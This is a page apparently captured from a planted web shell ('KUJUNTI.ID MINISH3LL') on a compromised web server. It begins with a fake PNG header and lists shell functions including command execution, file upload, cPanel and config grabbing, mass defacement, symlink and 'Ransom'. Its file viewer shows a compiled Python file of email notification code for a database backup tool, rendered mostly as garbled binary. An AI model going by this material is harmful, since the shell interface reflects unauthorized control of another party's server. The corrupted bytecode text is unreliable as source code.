\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/email_utils.cpython-310.pyc


o

�+�g�,�@s�ddlZddlZddlmZddlmZddlmZddlmZddl	m
Z
mZmZm
Z
ddlmZe�e�ZdZd	Zdd
d�Zddd
�ZdS)�N)�datetime)�render_template_string)�Message)�mail)�	BackupJob�	BackupLog�DatabaseConnection�
StorageTarget)�format_sizea�
<!DOCTYPE html>
<html>
<head>
    <style>
        body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
        .container { width: 100%; max-width: 600px; margin: 0 auto; }
        .header { background-color: #28a745; color: white; padding: 20px; text-align: center; }
        .content { padding: 20px; }
        .footer { background-color: #f4f4f4; padding: 10px; text-align: center; font-size: 12px; }
        table { width: 100%; border-collapse: collapse; margin-bottom: 20px; }
        th, td { padding: 12px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background-color: #f2f2f2; }
        .success { color: #28a745; font-weight: bold; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h2>Backup Completed Successfully</h2>
        </div>
        <div class="content">
            <p>Hello,</p>
            <p>Your database backup job <strong>{{ job_name }}</strong> has completed successfully.</p>
            
            <h3>Backup Details:</h3>
            <table>
                <tr>
                    <th>Database</th>
                    <td>{{ database_name }} ({{ database_type }})</td>
                </tr>
                <tr>
                    <th>Storage Target</th>
                    <td>{{ storage_name }} ({{ storage_type }})</td>
                </tr>
                <tr>
                    <th>Backup File</th>
                    <td>{{ backup_file }}</td>
                </tr>
                <tr>
                    <th>Backup Size</th>
                    <td>{{ backup_size }}</td>
                </tr>
                <tr>
                    <th>Duration</th>
                    <td>{{ duration }} seconds</td>
                </tr>
                <tr>
                    <th>Timestamp</th>
                    <td>{{ timestamp }}</td>
                </tr>
                <tr>
                    <th>Status</th>
                    <td class="success">Success</td>
                </tr>
            </table>
            
            <p>This is an automated message. Please do not reply to this email.</p>
        </div>
        <div class="footer">
            <p>Database Backup System &copy; {{ current_year }}</p>
        </div>
    </div>
</body>
</html>
a�
<!DOCTYPE html>
<html>
<head>
    <style>
        body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
        .container { width: 100%; max-width: 600px; margin: 0 auto; }
        .header { background-color: #dc3545; color: white; padding: 20px; text-align: center; }
        .content { padding: 20px; }
        .footer { background-color: #f4f4f4; padding: 10px; text-align: center; font-size: 12px; }
        table { width: 100%; border-collapse: collapse; margin-bottom: 20px; }
        th, td { padding: 12px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background-color: #f2f2f2; }
        .failure { color: #dc3545; font-weight: bold; }
        .error-message { background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24; padding: 10px; margin: 10px 0; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h2>Backup Failed</h2>
        </div>
        <div class="content">
            <p>Hello,</p>
            <p>Your database backup job <strong>{{ job_name }}</strong> has failed.</p>
            
            <h3>Backup Details:</h3>
            <table>
                <tr>
                    <th>Database</th>
                    <td>{{ database_name }} ({{ database_type }})</td>
                </tr>
                <tr>
                    <th>Storage Target</th>
                    <td>{{ storage_name }} ({{ storage_type }})</td>
                </tr>
                <tr>
                    <th>Timestamp</th>
                    <td>{{ timestamp }}</td>
                </tr>
                <tr>
                    <th>Status</th>
                    <td class="failure">Failed</td>
                </tr>
            </table>
            
            <h3>Error Details:</h3>
            <div class="error-message">
                {{ error_message }}
            </div>
            
            <p>Please check your backup configuration and ensure that both the database and storage target are accessible.</p>
            <p>This is an automated message. Please do not reply to this email.</p>
        </div>
        <div class="footer">
            <p>Database Backup System &copy; {{ current_year }}</p>
        </div>
    </div>
</body>
</html>
cCsT�z
|stj�dd�}|st�d�WdSdd�|�d�D�}tj�|�}|s3t�d|�d	��WdSt	j�|j
�}|sGt�d
|���WdStj�|j�}|s\t�d|j
���WdStj�|j�}|sqt�d|j
���WdS|jd
kr�d|j��}t}|jr�t|j�nd}	|j|j|j|j|j|j|	|jr�|jd�nd|j�d�t��jd�
}
n d|j��}t}|j|j|j|j|j|j|j�d�t��jd�}
t |fi|
��}zt!|||d�}t"�#|�t�$d|j���WWdSt%�y}
zt�dt&|
����WYd}
~
WdSd}
~
wwt%�y)}zt�dt&|����WYd}~dSd}~ww)a
    Send an email notification for a backup job.
    
    Args:
        log_id (int): ID of the backup log entry
        recipients (list): List of email addresses to send notification to
    
    Returns:
        bool: True if email sent successfully, False otherwise
    �BACKUP_NOTIFICATION_EMAILS�z1No recipients configured for backup notificationsFcSsg|]}|���qS�)�strip)�.0�emailr
r
�=/var/www/html/yedekledb24/DatabaseBackupMaster/email_utils.py�
<listcomp>�sz,send_backup_notification.<locals>.<listcomp>�,zBackup log with ID z
 not foundz Backup job not found for log ID z)Database connection not found for job ID z$Storage target not found for job ID �successzBackup Successful: zN/Az.2fz%Y-%m-%d %H:%M:%S UTC)
�job_name�
database_name�
database_type�storage_name�storage_type�backup_file�backup_size�duration�	timestamp�current_yearzBackup Failed: )rrrrr�
error_messagerr��subject�
recipients�htmlz0Backup notification email sent via SMTP for job TzSMTP email delivery failed: Nz*Failed to send backup notification email: )'�os�environ�get�logger�warning�splitr�query�errorr�job_idr�database_id�idr	�
storage_id�status�name�SUCCESS_TEMPLATErr
�db_typerrrr�strftimer�now�year�FAILURE_TEMPLATE�messagerrr�send�info�	Exception�str)�log_idr"�recipients_str�
backup_log�job�db_conn�storager!�template�backup_size_formatted�context�html_content�msg�mail_err�er
r
r�send_backup_notification�s�


�

��
����rJc
Cs�zGd}dtt��j�d}zt|||d�}t�|�t�dd�	|����WWdSt
yG}zt�dt|����WYd	}~Wd
Sd	}~wwt
yd}zt�dt|����WYd	}~d
Sd	}~ww)a3
    Send a test email to verify email configuration.
    
    Args:
        recipients (list): List of email addresses to send test email to
        email_service (str): Not used (retained for backward compatibility)
        
    Returns:
        bool: True if email sent successfully, False otherwise
    z#Database Backup System - Test Emaila�
        <!DOCTYPE html>
        <html>
        <head>
            <style>
                body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
                .container { width: 100%; max-width: 600px; margin: 0 auto; }
                .header { background-color: #007bff; color: white; padding: 20px; text-align: center; }
                .content { padding: 20px; }
                .footer { background-color: #f4f4f4; padding: 10px; text-align: center; font-size: 12px; }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="header">
                    <h2>Test Email</h2>
                </div>
                <div class="content">
                    <p>Hello,</p>
                    <p>This is a test email from your Database Backup System.</p>
                    <p>If you received this email, your email notification settings are working correctly.</p>
                    <p>This is an automated message. Please do not reply to this email.</p>
                </div>
                <div class="footer">
                    <p>Database Backup System &copy; zW</p>
                </div>
            </div>
        </body>
        </html>
        r zTest email sent via SMTP to z, Tz!SMTP test email delivery failed: NFzFailed to send test email: )r<rr5r6rrr9r'r:�joinr;r+)r"�
email_servicer!rFrGrHrIr
r
r�send_test_email�s4�� �
����rM)N)r$�loggingr�flaskr�
flask_mailr�appr�modelsrrrr	�backup_utilsr
�	getLogger�__name__r'r2r7rJrMr
r
r
r�<module>s
D
>j

© KUJUNTI.ID